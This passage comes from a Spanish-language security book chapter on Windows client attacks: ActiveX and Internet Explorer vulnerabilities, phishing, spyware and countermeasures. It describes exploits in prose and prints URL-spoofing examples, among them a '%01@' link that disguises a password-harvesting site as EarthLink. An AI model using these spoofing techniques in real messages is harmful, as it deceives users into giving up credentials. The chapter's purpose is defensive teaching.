HTML Help Sobreflujo de búfer Ejecución arbitraria de
basado en pila del campo código como llamador
excesivamente largo
“Content file” en el archivo
.hhp
WebBrowser Posiblemente, todas las Ejecución arbitraria de
explotaciones que afectan código como llamador
a IE
XMLHTTP Antiguo: acceso a LMZ Lectura/escritura de
Nuevo: ninguno, se usa contenido arbitrario desde
para leer o descargar ubicaciones conocidas, o en
archivos de LMZ o desde éstas
éste
Tabla 10-1 Vulnerabilidades seleccionadas de seguridad en ActiveX
(XVoice.dll y Xlisten.dll, respectivamente) contiene sobreflujos de búfer que puede permitir a un

atacante remoto no autentificado la ejecución código arbitrario en una víctima al engañarla para
que abra un documento HTML que cree una instancia de los controles vulnerables. La causa de la
vulnerabilidad es un sobreflujo de búfer en el campo ModeID. A. Micalizzi escribió una explota-
ción de prueba de concepto que realiza este truco en WinXP SP2 y Win2K SP4. La explotación es
específica de la plataforma debido a una condición arbitraria de la pila de ejecución de la CPU en
10_SCAMBRAY_10.indd 323 7/28/08 9:38:45 PM

diferentes entornos y crea un usuario su con contraseña tzu en el sistema de destino. Por supuesto,
este código de shell puede reemplazarse con algo más malicioso.
Contramedidas ante ActiveX

En general, los usuarios deben restringir o deshabilitar ActiveX en la zona IE apropiada (consul-
te la sección titulada “Zonas de seguridad de IE”, en páginas posteriores de este capítulo).
Desde la perspectiva de un desarrollador, no escriba controles seguros para secuencias de
comandos que podrían realizar acciones privilegiadas en un sistema de usuario. También anima-
mos a los desarrolladores a que revisen la herramienta SiteLock, que no tiene garantía ni soporte
de Microsoft, pero que se encuentra en http://msdn.microsoft.com/archive/en-us/samples/
internet/components/sitelock/default.asp. Cuando se agrega a su entorno de desarrollo, el
encabezado SiteLock permite a un desarrollador de ActiveX restringir el acceso para que el control
sólo se considere seguro en una lista predeterminada de dominios.
Más recientemente, Microsoft ha empezado a “matar” controles ActiveX posiblemente peli-
grosos al establecer el denominado bit de cierre para un control determinado. Los desarrolladores
de software que simplemente quieren desactivar sus controles ActiveX en lugar de parcharlos
pueden tomar esta ruta. Los usuarios individuales también pueden establecer manualmente bits
de cierre para controles individuales empleando las técnicas de creación de estos bits descritos
en “Referencias y lecturas adicionales”.
En el boletín de seguridad de Microsoft MS07-033 se analiza la corrección para el sobreflujo
de búfer del control ActiveX de Speech API, que sirve para aplicar un bit de cierre a ambos. A
continuación se muestran los parámetros de ejemplo del Registro que muestran cada control al
que se le ha aplicado un bit de cierre.
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compati-

bility\
{4E3D9D1F-0C63-11D1-8BFB-0060081841DE}]
"Compatibility Flags"=dword:00000400
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compati-

bility\
{EEE78591-FE22-11D0-8BEF-0060081841DE}]
"Compatibility Flags"=dword:00000400
Como siempre con los productos de Microsoft, la actualización a la versión más reciente trae
mejoras optimizadas de seguridad. En IE 7, Microsoft introdujo la característica denominada
“opt-in de ActiveX”, que deshabilita como opción predeterminada todos los controles ActiveX
preinstalados, y luego permite que los usuarios los habiliten o deshabiliten fácilmente, a medida
que los necesiten, al solicitárselos mediante la barra de información. Algunos aspectos de esto
también se han implementado en versiones anteriores de IE, pero de acuerdo con nuestra expe-
riencia es mucho más tranquilo y está mejor integrado en IE 7, en Vista, con el Control de cuentas
de usuario (UAC, User Account Control); para que vea esto por sí mismo, pruebe la instalación
del control Flash de Adobe en su explorador en Windows XP/IE 6 en comparación con Vista/IE
7; consideramos que también verá la diferencia.
Un conjunto de mejores prácticas de ActiveX recién desarrollada también es la base de la ca-
racterística opt-in de ActiveX, de modo que el comportamiento es mucho más intuitivo que en
versiones anteriores. Se trata de un cambio bienvenido en comparación con los malos y viejos
10_SCAMBRAY_10.indd 324 7/28/08 9:38:46 PM

días de ActiveX, que en realidad forzaban al usuario a tomar una decisión intuitiva sobre la eje-
cución o no de un control (también conocida como Authenticode). Al parecer, Microsoft apren-
dió a caminar por la más compleja línea entre bloquear el explorador y dejarlo en un estado casi
inútil (por ejemplo, la configuración mejorada de seguridad) y en el otro extremo simplemente
volcar las decisiones de seguridad sobre los usuarios mediante interfaces de usuario crípticas.
Vulnerabilidades de IE
Popularidad: 4
Simplicidad: 3
Impacto: 10
Ahora, analicemos uno de los principales hosts de controles ActiveX dentro de Windows,
Internet Explorer (IE), que ha tenido varios problemas de seguridad por cuenta propia. En reali-
dad, IE puede ser responsable de la mayor cantidad de vulnerabilidades que cualquier producto
que Microsoft haya creado. Incluso productos de servidor como Internet Information Services
(IIE) y Windows Server han disfrutado una frecuencia menor de boletines de seguridad, mien-
tras que IE simplemente sigue dando de qué hablar. Ilustremos esto con algunos ejemplos.
Ataques de acceso de dominio cruzado Una de las tendencias más problemáticas de las vulnera-
bilidades de IE son los denominados problemas de acceso de dominio cruzado. Casi todos los
modernos exploradores usan un modelo de seguridad basado en dominios, que son límites de
seguridad arbitrarios diseñados para evitar que ventanas/marcos/documentos/secuencias
de comandos de una fuente (por lo general especificada por un dominio del sistema de nom-
bres de dominio) interactúen con recursos que se originan en otro lugar. A esto en ocasiones se
le denomina la “directiva del mismo origen”, debido a los manuales de referencia de JavaScript
de Netscape. Por ejemplo, si sitiomalvado.com pudiera ejecutar JavaScript en el dominio Citi-
bank.com, los clientes del Citibank podrían ser víctimas mediante (digamos) un simple correo
electrónico que contenga una secuencia de comandos maliciosa que secuestre sus cookies, ini-
cie sesión en el sitio Web de banca en línea de Citibank y envíe dinero en efectivo al lugar que
elija el atacante.
La historia de las explotaciones de dominio cruzado de IE es larga y variada. A mediados de
2007, el gurú de la seguridad en exploradores Michal Zalewski demostró una vulnerabilidad en
IE 6 y 7 para la cual aseguró que “todo el modelo de seguridad del explorador colapsa como un
castillo de naipes y lo vuelve vulnerable a una inmensa cantidad de ataques desagradables”. La
esencia del problema es una condición de carrera cuando se navega de un sitio (que puede acce-
derse mediante una secuencia de comandos y ser modificada por el atacante) a otro, de modo tal
que existe una ventana de tiempo en que la secuencia de comandos puede realizar acciones con
los permisos de la página anterior contra contenido de la página recién cargada (por ejemplo,
leer o establecer la cookie de la página anterior). Esto es una violación muy desagradable del
mismo modelo de dominio, y Zalewski publicó una página de prueba de concepto que “robaba”
su cookie del sitio en polaco de Google, como se muestra en la figura 10-1.
En 2006, Matan Gillon ilustró la manera de inyectar hojas de estilo en cascada (CSS, Casca-
ding Style Sheets) en páginas Web remotas que sólo contienen llaves ({ }), mismas que suelen usar-
se para definir selectores, propiedades y valores de estilo. Al explotar una falla en el analizador
10_SCAMBRAY_10.indd 325 7/28/08 9:38:46 PM

Figura 10-1 La explotación de “atrapamiento 1” de IE 6/7 de Michal Zalewski roba una cookie
sintáctico de IE para CSS, y mediante una revisión operacional de Google, Gillon desarrolló una
explotación de prueba de concepto que obtenía de manera encubierta datos del usuario, cuando
éste utilizaba la utilería Desktop Search de Google.
A principios de 2005, Michael Evanchik, Paul de GreyHats Security, y http-equiv reportó que el
control ActiveX HTML Help (hhtctrl.ocx) no determinaba apropiadamente el origen de las ventanas
abiertas por el comando Temas relacionados, lo que permitía que un atacante abriera dos venta-
nas diferentes que señalaban al mismo dominio, con lo que conectaban las ventanas principales a
través de los límites de seguridad del dominio. Por cierto, este problema de hhtctrl.ocx se reportó
después de que Microsoft implementó su bloqueo de zona de equipo local (LMZ, Local Machine
Zone) en Windows XP Service Pack 2(XP SP2), pero hablaremos más de ello en páginas posteriores.
A mediados de 2004, Paul de GreyHats Security reportó una vulnerabilidad de confusión en
la caché con IE, donde en esencia olvidaba el origen de la referencia en caché a una función cuan-
do se cambiaba el dominio principal, permitiendo que un atacante controlara el contexto en que
se ejecutaba la función en caché. Esto permitiría la ejecución de secuencias de comandos en do-
minios arbitrarios, a elección del atacante, simplemente al hacer que la víctima viera algún
HTML malicioso. Y la lista sigue.
Ataques a la zona de equipo local Un subtema popular de los problemas de acceso de dominio cru-
zado es el ataque a la zona de equipo local (LMZ, también conocido como zona de mi PC), que se
diseñó para diferenciar entre secuencias de comandos remotas posiblemente maliciosas y ejecuta-
bles “amigables” cargados en la máquina local. La LMZ es una zona “especial” en la implementa-
ción de IE del modelo de seguridad de dominio, en que el código se ejecuta con los privilegios del
usuario que ejecuta IE. Por tanto, los atacantes han buscado, de manera tradicional, inyectar códi-
go malicioso en LMZ. Las explotaciones de inyección de LMZ proliferaron a tal grado que Micro-
soft finalmente lanzó una característica llamada bloque de equipo local en XP SP2. Por tanto, muchos
han argumentado durante años que el concepto completo de acceso remoto a secuencias de co-
mandos locales “amigables” es poco realista y que el diseño de LZM debe eliminarse del todo.
Lo importante del caso es que no tomó mucho tiempo para que el notorio hacker de cliente
Web http-equiv pasara el bloqueo de LMZ, lo que ilustra los desafíos continuos de defenderse con-
tra problemas de diseño. Thor Larholm ofreció una descripción sólida del apuntalamiento de esta
explotación. En esencia, la explotación usa el elemento de imagen de HTML (IMG) con el atributo
DYNSRC señalando a un archivo remoto. Cuando esta imagen se arrastra y coloca en una ventana
que hace referencia a contenido local, es posible plantar el archivo al que se hace referencia en el
atributo DYNSRC en la máquina de la víctima, en una ubicación conocida. Http-equiv publicó una
10_SCAMBRAY_10.indd 326 7/28/08 9:38:46 PM

explotación de demostración llamada ceegar.html que usa el comportamiento AnchorClick para

abrir C:\WINDOWS\PCHealth\ en una ventana con nombre, lo que luego se utiliza como punto
para arrastrar y colocar el archivo al que se hace referencia en el atributo DYNSRC.
Rafel Ivgi publicó otro ejemplo de un mecanismo de acceso a LMZ a mediados de 2004. El
investigador de seguridad alemán Jelmer Kuperus (conocido por su manejador en línea, jelmer)
codificó una explotación de prueba de concepto que usa el método showModalDialog de IE
dentro de una página Web maliciosa (o correo electrónico HTML) que crea una ventana de
cuadro de diálogo modal en la esquina superior izquierda de la pantalla del usuario (un cua-
dro de diálogo modal retiene el enfoque de entrada mientras está abierto; el usuario no puede
cambiar ventanas hasta que se cierra el cuadro de diálogo). El cuadro de diálogo modal hace re-
ferencia a la ubicación de otro objeto, un IFRAME. Mediante una especie de truco de tiempo, Jel-
mer cambia la ubicación del IFRAME mientras el cuadro de diálogo modal está abierto, y cuando
lo cierra, debido a la vulnerabilidad, la ubicación a la que se hace referencia IFRAME ya está bajo
el control de Jelmer, y se establece a la LMZ. En la siguiente ilustración se muestra el cuadro de
diálogo modal de prueba de concepto (notará que, por la barra de estado de esta ventana, se está
ejecutando en la zona de seguridad del equipo local).
A partir de aquí, Jelmer carga algún JavaScript en más marcos IFRAME localizados en la
LMZ. Estas secuencias de comandos hacen la carga pesada, utilizando el control ActiveX ADO-
DB.stream instalado con IE para copiar un ejecutable de un sitio del equipo local y lo ejecuta
(sobrescribe el ejecutable del Reproductor de medios de Windows, en C:\Archivos de progra-
ma\Windows Media Player\wmplayer.exe para ocultar su verdadero propósito). El ejecutable
de Jelmer es un clip gráfico inofensivo, pero demuestra lo que pretende: ahora puede ejecutarse
código con los privilegios completos del usuario que inició sesión.
Contramedidas ante vulnerabilidad de IE

Estas explotaciones sólo representan una pequeña fracción de las vulnerabilidades publicadas
de IE en los últimos años, por desgracia. ¿Qué es lo que tiene que hacer el usuario de Windows
consciente de la seguridad?
A riesgo de sonar como un disco rayado, enumeraremos de nuevo las más importantes:
• Manténgase al día con los parches (lo óptimo es la ejecución de las versiones más
recientes de Windows e IE, Vista e IE 7, al momento de escribir esto).
• Ejecute con la menor cantidad de privilegios (Control de cuentas de usuario de Vista y
Modo protegido de IE 7 son lo último en este sentido).
Además de estas precauciones, también recomendamos una configuración conservadora de

la característica Zona de seguridad de IE, que analizaremos con mayor detalle en la sección
“Contramedidas generales”, que se presenta en páginas posteriores de este capítulo.
10_SCAMBRAY_10.indd 327 7/28/08 9:38:47 PM

TRUCOS
Si un atacante no logra identificar una vulnerabilidad técnica para explotación, puede recurrir a
trucos. El término ingeniería social se ha usado durante años en los círculos de seguridad para
describir esta técnica de usar la persuasión, el engaño, o ambos, para obtener acceso a informa-
ción digital.
Estos ataques han generado un fuerte empujón a la técnica en años recientes, y ha surgido
nueva terminología para describir esta fusión de trucos humanos básicos y sofisticados actos de
magia técnicos. La expresión que ha obtenido más popularidad en los últimos tiempos es phish-
ing, o suplantación de identidad, que representa, en esencia, un ataque clásico de ingeniería so-
cial implementado con tecnología de Internet. Sin embargo, esto no pretende modificar su
impacto, que de acuerdo con los estimados cuesta a los consumidores más de mil millones de
dólares al año, una cifra que está creciendo firmemente.
Los defraudadores más agresivos engañan al usuario para que instalen software engañoso,
denominado spyware, una amplia clase de programa que incluyen software encubierto o enga-
ñoso que secuestra los recursos del equipo para desplegar anuncios o monitoree hábitos de explo-
ración de Web (por lo general, para venderlos posteriormente a empresas de mercadotecnia).
Debido a que este libro se concentra en Windows, no vamos a explorar la suplantación de
identidad ni el spyware, en general, porque no afectan únicamente a los productos de Microsoft,
sino a cualquier aplicación cliente, incluidos Mozilla Firefox, Apple Safari y todos los programas
que habitan en el sistema típico del usuario final. Más bien, nos concentraremos brevemente
aquí en los dos siguientes temas:
• Cómo pueden usarse las vulnerabilidades de IE en ataques de suplantación de

identidad, y qué hacer en esos casos
• Puntos de inserción común para spyware y cómo detectarlos.
sugerencia
Recomendamos Hacking Exponsed: Web Applications, 2a edición, si está interesado en un
tratamiento más a fondo de la suplantación de identidad, el spyware y los envíos masivos de correo
basura relacionados.
Suplantación de identidad
Popularidad: 10
Simplicidad: 8
Impacto: 8
Suplantación de identidad es el uso de tecnologías de Internet para defraudar a víctimas. El

uso más típico de la suplantación de identidad es un mensaje masivo de correo electrónico que
trata de convencer a las víctimas de que restablezcan su contraseña de la cuenta bancaria en lí-
nea en un sitio controlado por el defraudador, que luego recoge credenciales de cualquier perso-
na crédula que reaccione al mensaje.
En nuestra experiencia, los correos electrónicos de suplantación de identidad suelen tener
las siguientes características:
10_SCAMBRAY_10.indd 328 7/28/08 9:38:47 PM

• Están dirigidos a usuarios en línea financieramente importantes (¡que es donde está el

dinero!).
• Direcciones de origen no válidas o lavadas (estos envíos no requieren una dirección de
respuesta válida, de modo que casi nadie se preocupa en establecer una; hay quienes
incluso utilizan direcciones legítimas).
• Fingen autenticidad empleando imágenes de marca familiares (éste es el gancho que
engaña a la mayoría de los usuarios).
• Llaman a una acción urgente (la mayor parte de los sitios de suplantación de identidad
dejan de funcionar en unos cuantos días, de modo que urgen a las posibles víctimas
para que actúen rápidamente).
Como lo documentan grupos como el Anti-Phishing Working Group (APWG), la suplanta-

ción de identidad es una instancia criminal importante. Y sólo usa trucos básicos, cuando las
personas que la usan pueden combinar su habilidad artística con una vulnerabilidad de Win-
dows, las cosas empeoran mucho. Echemos un vistazo a algunos ejemplos.
Michal Zalewski apareció de nuevo con su demostración de mediados de 2007 de otra vul-
nerabilidad relacionada con el error de atrapamiento de IE analizado antes, y que permite que
una página maliciosa falsifique la barra de herramientas, los cuadros de diálogo de información
de la página y los certificados SSL. Esto se logra mediante la manipulación de los objetos del mo-
delo de objeto de documento (DOM, Document Object Model) del lugar, para interrumpir la
carga de una nueva página. El resultado es muy perturbador: la exploración de lo que parece ser
un sitio legítimo como CNN.com, con contenido totalmente controlado por algún otro sitio. La
demostración de prueba de concepto de Michal enseña esto, como se muestra en la figura 10-2.
Otro ejemplo es la vulnerabilidad “canonicalización inapropiada de URL de IE”, que se explotó
en grande a principios de 2004 con personas dedicadas masivamente a la suplantación de identidad.
(Consulte la sección “Referencias y lecturas adicionales”.) Esta vulnerabilidad se explotaba al colo-
car un carácter especial en URL de uso común para autentificarse en sitios Web con este formato:
Figura 10-2 Otro error de atrapamiento: ¿realmente se trata de CNN.com?
10_SCAMBRAY_10.indd 329 7/28/08 9:38:48 PM

http://nombreusuario:contraseña@sitio.com/restodeurl
Este comportamiento cumple con la especificación RFC de HTTP y es perfectamente normal.

La vulnerabilidad se presenta cuando se insertan caracteres hexadecimales en lugar de la sin-
taxis nombreusuario:contraseña; por ejemplo:
htpp://www.microsoft.com%01@www.malware.com
Observe el hexadecimal %01, que causa que IE despliegue microsoft.com en la barra de direc-
ción, pero sería el contenido de malware.com el que se cargaría. Quienes recurren a la suplantación
de identidad no pueden pedir una mejor vulnerabilidad, porque ahora todo lo que tienen que
hacer es revestir sus sitios fraudulentos para que parezcan un banco en línea, ¡y sus víctimas ni
siquiera pueden depender de la barra de dirección para indicarles algo diferente! En la figura
10-3 se muestra un correo electrónico de suplantación de identidad diseñado para explotar esta
vulnerabilidad. Observe algunos de los rasgos familiares (la autenticidad se finge empleando
imágenes de marca familiares y se pide que realice una acción con urgencia), todo culminando con
el seductor botón Continue justo en medio del mensaje, urgiendo a la víctima para que haga clic
y simplemente se encargue de este problema. Este botón es un vínculo a:
Figura 10-3 Un correo electrónico de suplantación de identidad que explota una vulnerabilidad
de IE; el botón es un vínculo con http://micuenta.earthlink.net%01@sitiomalvado.com/contrasena/
RestablecerContrasena.html
10_SCAMBRAY_10.indd 330 7/28/08 9:38:48 PM

http://micuenta.earthlink.net%01@sitiomalvado.com/contrasena/Restablecer-
Contrasena.html
Si alguien hace clic en este botón, la barra de dirección del explorador dirá http://micuenta.
earthlink.net (el sitio legítimo de administración de cuenta de EarthLink), pero la víctima en reali-
dad estará explorando un sitio fraudulento de recolección de contraseñas en sitiomalvado.com/
contrasena/RestablecerContrasena.html.
Esta vulnerabilidad en particular no se parchó durante varios meses, lo que ilustra la nece-
sidad de ser más proactivo en la defensa contra los ataques de suplantación de identidad.
sugerencia
Aún más aterrador que los caracteres especiales como la notación hexadecimal son los URL con
uno o algunos caracteres expresados en un idioma internacional, lo que crea palabras visualmente
similares que en realidad son URL de sitios muy diferentes. La característica antiengaño de nombre
de dominio internacional de IE 7 ayuda a mitigar esto.
Contramedidas ante la suplantación de identidad en Windows

Gracias (por desgracia) a la floreciente popularidad de este tipo de engaño, Internet está inunda-
do de consejos sobre la manera de evitar y responder a los ataques de suplantación de identidad.
Los recursos que hemos encontrado más útiles aparecen en “Referencias y lecturas adicionales”.
Han surgido recientemente nuevos servicios en línea para ayudar a los usuarios finales a
identificar los ataques de suplantación de identidad. En realidad, con IE 7, una nueva caracterís-
tica, el Filtro de suplantación de identidad, indica a los usuarios cuando están explorando un
sitio de suplantación de identidad conocido. La lista de sitios conocidos es mantenida al día en
un servicio dirigido por Microsoft de la misma manera que las actualizaciones de programas
antivirus lo hacen con sus definiciones de virus. El Filtro de suplantación de identidad puede
habilitarse en el Panel de control, bajo Opciones de Internet, en la ficha Opciones avanzadas,
bajo Filtro de suplantación de identidad (phishing). También hay un menú contextual bajo la
barra de herramientas Herramientas de IE 7 que permite el acceso a varias características del Fil-
tro de suplantación de identidad, incluido Revisar este sitio Web, que le indicará si el sitio Web
actual se encuentra en la lista de Microsoft de sitios conocidos de suplantación de identidad.
Esta característica se muestra en la figura 10-4.
Figura 10-4 El resultado de revisar un sitio Web empleando el Filtro de suplantación de identidad
de IE 7
10_SCAMBRAY_10.indd 331 7/28/08 9:38:49 PM

Consideramos que el Filtro de suplantación de identidad es un mecanismo largamente espe-

rado para proteger a los usuarios de los ataques de suplantación de identidad, y animamos a los
lectores a que lo habiliten. Al parecer, Microsoft depende de orígenes de datos únicos, como sus
propios servicios de reporte de errores de Hotmail (también llamado “Dr. Watson”), para datos
de sitios conocidos de suplantación de identidad, de modo que el Filtro de suplantación de iden-
tidad podría ofrecer ventajas sobre servicios de la competencia.
Además, la lectura de correo electrónico en formato de texto simple ayuda a reducir la efec-
tividad de una de las herramientas clave de quienes recurren a la suplantación de identidad: la
falsificación de la autenticidad utilizando imágenes de marca familiar. Además, los correos elec-
trónicos en texto simple le permiten ver hipervínculos descaradamente fraudulentos en línea, por-
que aparecen entre paréntesis angulares (< y >) cuando se ven en texto simple. Por ejemplo, he
aquí un hipervínculo que tendría un aspecto normal (texto subrayado y azul, en línea) cuando
se ve como HTML:
¡Haga clic aquí para ir a nuestro sitio de regalo gratuito!
Cuando se ve en texto simple, este vínculo aparece ahora con paréntesis angulares:
¡Haga clic aquí <http://www.ciertositio.com> para ir a nuestro sitio de

regalo gratuito!
Por último, pero no por ello menos importante, recomendamos que tenga un escepticismo
saludable cuando trate con todo en Internet, sobre todo en el caso de comunicaciones de correo
electrónico no solicitadas. Nuestro consejo es que nunca haga clic en hipervínculos en correos elec-
trónicos no solicitados. Si está preocupado por el mensaje, abra un nuevo explorador y escriba
manualmente el URI (por ejemplo, www.paypal.com) o haga clic en un favorito bien conocido.
No es difícil adquirir este hábito, y reduce de manera impactante la probabilidad de ser víctima
de la suplantación de identidad.
Spyware
Popularidad: 8
Simplicidad: 6
Impacto: 8
La mayoría de los usuarios está familiarizada con software que se comporta (casi siempre) de
manera transparente y de acuerdo con las expectativas. Cualquiera que haya leído este capítulo
también está familiarizado con software que innegablemente realiza actividades que ningún usua-
rio sano autorizaría. En algún lugar entre estos dos extremos se encuentra una amplia clase de pro-
gramas que pueden realizar algunas actividades con el consentimiento del usuario, y otras sin él.
El adware se define ampliamente como software que inserta anuncios en sus actividades coti-
dianas de cómputo. El mejor ejemplo de adware son esos molestos anuncios emergentes que satu-
ran su explorador cuando visita un sitio con prácticas abusivas de publicidad. Cierto adware es
legítimo, pero algunos cruzan la línea del abuso no autorizado. 180Solutions es una compañía no-
toria por usar técnicas engañosas de software para impulsar su negocio de anuncios en línea.
10_SCAMBRAY_10.indd 332 7/28/08 9:38:49 PM

El spyware está diseñado para monitorear subrepticiamente el comportamiento del usuario, por
lo general para fines de registro y reporte de ese comportamiento a compañías de rastreo en línea
que, a su vez, venden esta información a anunciantes o proveedores de servicios en línea. Corpora-
ciones, investigadores privados, oficiales de policía, agencias de inteligencia, esposos que sospechan
de sus cónyuges, etc., también se sabe que usan spyware para sus fines, sean legítimos o no.
Existe gran cantidad de recursos en Internet que catalogan y describen software molesto y
malicioso como el adware y el spyware (consulte “Referencias y lecturas adicionales”). En el res-
to de nuestro análisis se cubrirán las técnicas comunes de inserción de spyware y adware y la
manera de deshacerse de estas pestes.
Técnicas comunes de inserción El adware y el spyware llegan a su equipo de una de dos mane-
ras: al explotar una vulnerabilidad (como ya analizamos en la primera parte de este capítulo), o
al convencer al usuario de que lo instale por voluntad propia. Se usa un rango de métodos para
lograr lo último.
Programas que aparecerán pronto presentarán una rutina de instalación sencilla que incluye
una opt-in afirmativa para la instalación, además de un Acuerdo de licencia de usuario final
(EULA, End User Licence Agreement), que despiertan expectativas (aunque la mayoría de los
usuarios ignora esos legalismos obtusos). En el otro extremo del espectro está el software total-
mente engañoso que se instala de manera encubierta, como parte de la rutina de instalación de
otro software, por ejemplo. Microsoft ha producido algunos criterios interesantes para lo que
constituye el software engañoso y está implementando estos criterios en sus productos y servi-
cios antimalware (consulte “Referencias y lecturas adicionales”).
Ubicaciones comunes de inserción Por lo general, el spyware y el adware suelen insertarse vía
una o más de las siguientes técnicas:
• Para instalar un archivo ejecutable en el disco y hacer referencia a él mediante un

punto de extensibilidad de inicio automático (ASEP, Auto-Start Extensibility Point)
• Al instalar complementos a software de explorador Web
Figura 10-5 La utilería msconfig enumera los puntos de extensibilidad de inicio automático en
Windows XP. Observe el programa de software de red de igual a igual resaltado aquí
10_SCAMBRAY_10.indd 333 7/28/08 9:38:50 PM

No debe subestimarse la importancia de ASEP para la proliferación de software molesto, en-

gañoso e incluso abiertamente malicioso (en nuestra opinión, ASEP es responsable de 99% de los
lugares ocultos usados por estos bribones). Algunas buenas listas de ASEP pueden encontrarse
en “Referencias y lecturas adicionales”. También puede examinar los ASEP de su propio sistema
al usar la herramienta msconfig en Windows XP (elija Inicio | Ejecutar e ingrese msconfig). En
la figura 10-5 se muestra la herramienta msconfig enumerando elementos de inicio en un siste-
ma típico de Windows XP.
Los ASEP son numerosos y suelen ser más complejos de lo que el usuario promedio desea
confrontar (sobre todo considerando que la manipulación no informada de ASEP puede dar
como resultado inestabilidad del sistema), de modo que no recomendamos que se mezcle con
éstos usted mismo, a menos que realmente sepa lo que está haciendo. Use una herramienta au-
tomatizada como la que recomendamos en breve.
Justo al nivel de la popularidad de ASEP se encuentran los complementos de exploradores
Web, un mecanismo principalmente invisible para insertar funcionalidad útil en su experiencia
de navegación Web. Uno de los mecanismos más insidiosos relacionados con los complementos de
explorador es la característica de objeto de ayuda del explorador (BHO, Browser Helper Object)
de Internet Explorer (consulte “Referencias y lecturas adicionales”). Hasta Windows XP SP2, los
BHO eran prácticamente invisibles para los usuarios, y podían realizar casi cualquier acción facti-
ble con Internet Explorer. Al hablar sobre llevar una buena idea de extensibilidad demasiado lejos,
los BHO nos recuerdan a Frankenstein. Por fortuna, a partir de XP SP2, la característica Adminis-
trador de complementos (bajo Herramientas | Administrar complementos) ahora al menos enu-
merará y controlará los BHO que se ejecutan dentro de IE. Aún tendrá que decidir si los deshabilita
manualmente, lo que puede ser una tarea confusa desde que algún software engañoso proporciona
poca información con la cual tomar esta decisión dentro de la interfaz de usuario de IE. Como op-
ción, puede usar una de las herramientas de terceros que recomendamos a continuación.
Contramedidas ante adware y spyware

Uno de los mejores mecanismos para combatir software molesto y engañoso está en el nivel eco-
nómico. No estar de acuerdo en instalar adware o spyware en su sistema a cambio de algún es-
tupendo elemento de software (como las utilerías de intercambio de archivos de igual a igual).
También puede combatirlo directamente empleando herramientas antiadware/spyware.
Alemania alberga a los dos contendientes principales: Spybot Search & Destroy y Ad-Aware de
Lavasoft (consulte “Referencias y lecturas adicionales”).
Además de estos programas gratuitos antispyware, está evolucionando un mercado comer-
cial robusto. SpySweeper de Webroot obtiene grandes honores en las reseñas que hemos visto,
con base en lo completo que es, su facilidad de uso y su conjunto de características. Además, casi
todas las empresas líderes en software antivirus y de seguridad como Symantec y McAfee han
ampliado sus ofrecimientos con capacidades antispyware. La comparación de compras entre las
diversas opciones es tan fácil como las “revisiones antispyware” de Google.
Nunca vencido durante mucho tiempo en ningún sector de la industria del software, Micro-
soft se ha unido a la lucha con un producto antispyware propio, llamado Windows Defender.
También es gratuito (y se incluye como opción predeterminada en Vista) y, al parecer, Microsoft
ha puesto recursos sólidos tras la investigación en malware que refuerza el producto. También
intentan lanzar una versión del producto como servicio en línea enfocado en el consumidor y
llamado Windows OneCare, que puede ofrecer lo último en facilidad para los usuarios finales,
que se sentirían felices con pagar una cuota mensual para dejar lejos todo el problema del soft-
ware molesto y engañoso. Consulte “Referencias y lecturas adicionales” para conocer más infor-
mación acerca de los varios ofrecimientos de Microsoft en este espacio.
10_SCAMBRAY_10.indd 334 7/28/08 9:38:50 PM

CONTRAMEDIDAS GENERALES
Después de años de investigar y escribir sobre los diversos desafíos pasados y futuros de la se-
guridad en línea del cliente, hemos ensamblado los siguientes “10 pasos para una experiencia
más segura en Internet”, que reúne los consejos que hemos cubierto de manera detallada previa-
mente en este capítulo, además de algunas mejores prácticas:
1. Despliegue una firewall personal, de manera ideal una que también pueda manejar
intentos de conexión salientes. La Firewall de Windows actualizada en XP SP2 y
posterior es una buena opción.
2. Manténgase al día con todos los parches de seguridad del software relevantes. Los
usuarios de Windows deben configurar Actualizaciones automáticas de Microsoft para
facilitar la carga de esta tarea.
3. Ejecute software antivirus que rastree automáticamente su sistema (sobre todo
datos adjuntos de correo electrónico entrantes) y manténgase actualizado. También
recomendamos la ejecución de las utilerías antiadware/spyware y antiphishing
analizadas en este capítulo.
4. Configure inteligentemente las Opciones de Internet de Windows en el Panel de
control (también accesible mediante IE y Outlook/OE).
5. Ejecute con la menor cantidad de privilegios. Nunca inicie sesión como Administrador (o
una cuenta de altos privilegios equivalente) en un sistema que usa para explorar Internet
o leer correo electrónico. Use características de privilegios reducidos como el Control de
cuentas de usuario de Windows y el Modo protegido de IE (PMIE), donde sea posible.
6. Los administradores de redes grandes de sistemas Windows deben desplegar las
tecnologías anteriores en puntos de estrangulamiento claves de redes (es decir,
firewalls basadas en red y en host, antivirus en servidores de correo, etc.) para proteger
más eficientemente a grandes cantidades de usuarios.
7. Lea el correo electrónico en texto simple.
8. Configure los programas de productividad de oficina con la mayor seguridad posible; por
ejemplo, establezca los programas de Microsoft Office en seguridad de macros Muy alta
bajo Herramientas | Macro | Seguridad. Considere el uso de MOICE (Microsoft Office
Isolated Conversion Environment, entorno de conversión aislado de Microsoft
Office) cuando se abren archivos de formato binario de Word, Excel o PowerPoint.
9. No sea crédulo. Tome las solicitudes y transacciones realizadas en Internet con gran
escepticismo. ¡No haga clic en vínculos con correos electrónicos de fuentes no confiables!
10. Mantenga los dispositivos de cómputo físicamente seguros.
En la sección “Referencias y lecturas adicionales”, al final de este capítulo, encontrará víncu-
los con más información acerca de estos pasos. A continuación, nos expandiremos un poco sobre
algunos de los puntos de la lista que no hemos analizado en este capítulo.
Zonas de seguridad de IE
Llámenos anticuados, pero pensamos que uno de los aspectos más subestimado de la seguridad
de Windows son las zonas de seguridad. Muy bien, tal vez nunca haya escuchado de ellas, o tal vez
nunca esté expuesto a la manera elegante en que puede administrar la seguridad de su expe-
riencia de Internet, pero es un buen momento para que los descubra.
En esencia, el modelo de seguridad de zonas permite a los usuarios asignar distintos niveles
de confianza al comportamiento del software dentro de cualquiera de las cuatro zonas: Intranet
local, Sitios de confianza, Internet y Sitios restringidos. Como hemos visto, existe una quinta
10_SCAMBRAY_10.indd 335 7/28/08 9:38:50 PM

zona denominada zona de equipo local (LMZ, Local Machine Zone), pero no está disponible en
la interfaz de usuario porque sólo es configurable utilizando herramientas especiales o modifi-
caciones directas en el Registro de Windows.
Pueden agregarse manualmente sitios a cada zona excepto la de Internet. Ésta contiene todos
los sitios no asignados a alguna de las otras zonas, y cualquier sitio que contenga un punto (.) en
su URL. (Por ejemplo, http://local es parte de la zona de la Intranet local como opción predeter-
minada, mientras que http://Microsoft.com está en la zona de Internet porque tiene puntos en
